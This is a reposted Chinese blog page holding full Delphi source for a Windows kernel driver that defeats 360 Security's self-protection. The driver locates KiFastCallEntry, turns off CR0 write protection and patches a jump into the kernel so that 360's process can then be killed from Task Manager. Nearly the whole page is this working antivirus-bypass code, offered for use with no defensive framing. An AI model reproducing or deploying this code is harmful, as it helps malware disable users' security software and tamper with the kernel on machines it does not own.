分享

【Delphi】驱动绕过360的KiFastCallEntry钩子

 quasiceo 2012-12-13

【Delphi】驱动绕过360的KiFastCallEntry钩子

相关搜索: delphi, 任务管理器
delphi驱动绕过360的KiFastCallEntry钩子
加载后360自我保护就换效了,但进程还在,可以直接用任务管理器结束之
unit unhook360;

interface

uses
nt_status, ntoskrnl, native, winioctl, fcall, macros;

type
THEAD = array[0..4] of byte;
THEAD1 = array[0..5] of byte;

const
NtKernel = 'ntoskrnl.exe';
NtHal = 'hal.dll';
DeviceName = '\Device\unhook250'; ///设备名
DosDeviceName = '\??\unhook250'; ///符号链接名
JmpCode: THEAD = ($E9, $00, $00, $00, $00);
OrgCode: THEAD = ($8B, $3F, $8B, $1C, $87);
PushRetCode: THEAD1 = ($68, $00, $00, $00, $00, $C3);

var
f_oldirql: KIRQL;
f_spinlock: KSPIN_LOCK;
uKiFastCallEntryAddr: ULONG;
HookAddr: ULONG;
M**mpRet: ULONG;
PushRetMem: ULONG;
g_usDeviceName, g_usSymbolicLinkName: UNICODE_STRING;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS; stdcall;
function KeRaiseIrqlToDpcLevel(): KIRQL; register; external NtHal name '_KeRaiseIrqlToDpcLevel';
procedure KfLowerIrql(NewIrql: KIRQL); register; external NtHal name '_KfLowerIrql';
procedure KfReleaseSpinLock(SpinLock: PKSPIN_LOCK; NewIrql: KIRQL); register; external NtHal name '_KfReleaseSpinLock';
function KfAcquireSpinLock(SpinLock: PKSPIN_LOCK): KIRQL; register; external NtHal name '_KfAcquireSpinLock';


implementation

procedure FakeKiFastCallEntry; stdcall;
begin
asm
mov edi,dword ptr [edi]
mov ebx,dword ptr [edi+eax*4]
sub esp,ecx
shr ecx,2
jmp [M**mpRet];
end;
end;

function LoadKiHooker(): ULONG;
var
oldIrql: KIRQL;
status: NTSTATUS;
uCr0cpu: ULONG;
begin
asm
pushfd
pushad
mov ecx,$176
rdmsr
mov uKiFastCallEntryAddr,eax //获取KiFastCallEntry地址
xor ecx,ecx
@@Label1:
cmp ecx,$100
je @@Label3
mov edx,DWORD ptr [eax]
cmp edx,$1C8B3F8B //搜索特征码,获取要Hook的位置
je @@Label2
inc eax
inc ecx
jmp @@Label1
@@Label2:
mov HookAddr,eax
@@Label3:
popad
popfd
end;
if (HookAddr = 0) then result := status;
DbgPrint('HookAddr is:%x', HookAddr);
PushRetMem := ULONG(ExAllocatePoolWithTag(NonPagedPool, 6, $544D454D));
DbgPrint('PushRetMem is:%x', PushRetMem);
if (PVOID(PushRetMem) = nil) then result := status;

PULONG(ulong(@JmpCode[1]))^ := PushRetMem - (HookAddr + 5);
PULONG(ulong(@PushRetCode[1]))^ := DWORD(@FakeKiFastCallEntry);
DbgPrint('FakeKiFastCallEntry is:%x', DWORD(@FakeKiFastCallEntry));
M**mpRet := HookAddr + 10;
KeInitializeSpinLock(@f_spinlock);
f_oldirql := KfAcquireSpinLock(@f_spinlock);
oldIrql := KeRaiseIrqlToDpcLevel();
asm
cli
push eax
mov eax, cr0
mov [uCr0cpu], eax
and eax, not 000010000h
mov cr0, eax
pop eax
end;
memcpy(pointer(PushRetMem), pointer(@PushRetCode), 6);
DbgPrint('JmpCode is:%x', DWORD(@JmpCode));
memcpy(pointer(HookAddr), pointer(@JmpCode), 5);
asm
push eax
mov eax, [uCr0cpu]
mov cr0, eax
pop eax
sti
end;
KfLowerIrql(oldIrql);
KfReleaseSpinLock(@f_spinlock, f_oldirql);
end;

function UnloadKiHooker(): ULONG;
var
oldIrql: KIRQL;
status: NTSTATUS;
uCr0cpu: ULONG;
begin
if (HookAddr <> 0) then
begin
KeInitializeSpinLock(@f_spinlock);
f_oldirql := KfAcquireSpinLock(@f_spinlock);
oldIrql := KeRaiseIrqlToDpcLevel();
asm
cli
push eax
mov eax, cr0
mov [uCr0cpu], eax
and eax, not 000010000h
mov cr0, eax
pop eax
end;
RtlCopyMemory(pointer(HookAddr), pointer(@OrgCode), 5);
asm
push eax
mov eax, [uCr0cpu]
mov cr0, eax
pop eax
sti
end;
KfLowerIrql(oldIrql);
KfReleaseSpinLock(@f_spinlock, f_oldirql);
ExFreePool(PVOID(PushRetMem));
end;
end;

function DispatchCreateClose(p_DeviceObject: PDEVICE_OBJECT; p_Irp: PIRP): NTSTATUS; stdcall; ///对打开或关闭请求的响应 ,这里就是简单的返回一个成功
begin
p_Irp^.IoStatus.Status := STATUS_SUCCESS; ///设置状态为STATUS_SUCCESS 即成功
p_Irp^.IoStatus.Information := 0;
IofCompleteRequest(p_Irp, IO_NO_INCREMENT); ///调用IoCompleteRequest完成IRP
Result := STATUS_SUCCESS;
end;

procedure DriverUnload(DriverObject: PDriverObject); stdcall;
begin
DbgPrint('DriverUnload(DriverObject:0x%.8X)', DriverObject);
DbgPrint('DriverUnload(-)');
UnloadKiHooker();
IoDeleteSymbolicLink(@g_usSymbolicLinkName);
IoDeleteDevice(DriverObject^.DeviceObject);
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS;
var
oldIrql: KIRQL;
status: NTSTATUS;
DeviceObject: TDeviceObject;
begin
status := STATUS_DEVICE_CONFIGURATION_ERROR;
RtlInitUnicodeString(g_usDeviceName, DeviceName);
RtlInitUnicodeString(g_usSymbolicLinkName, DosDeviceName);
if (IoCreateDevice(pDriverObject, 0, @g_usDeviceName,
FILE_DEVICE_UNKNOWN, 0, FALSE,
DeviceObject) = STATUS_SUCCESS) then
begin
DbgPrint('Create Device Success'); ///输出调试字符串
if (IoCreateSymbolicLink(@g_usSymbolicLinkName, @g_usDeviceName) = STATUS_SUCCESS) then
begin
DbgPrint('Create SymbolicLink Success'); ///输出调试字符串
pDriverObject^.MajorFunction[IRP_MJ_CREATE] := @DispatchCreateClose; ///这里把IRP_MJ_CREATE IRP_MJ_CLOSE设置到一个函数上
pDriverObject^.MajorFunction[IRP_MJ_CLOSE] := @DispatchCreateClose;
pDriverObject^.DriverUnload := @DriverUnload; ///当驱动动态卸载时执行DriverUnload
status := STATUS_SUCCESS; ///返回STATUS_SUCCESS;
end else ///如果创建符号链接不成功
begin
DbgPrint('Create SymbolicLink Failed'); ///输出调试字符串
IoDeleteDevice(@DeviceObject); ///删除设备
end;
end;
LoadKiHooker();
Result := status;
end;

end.

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多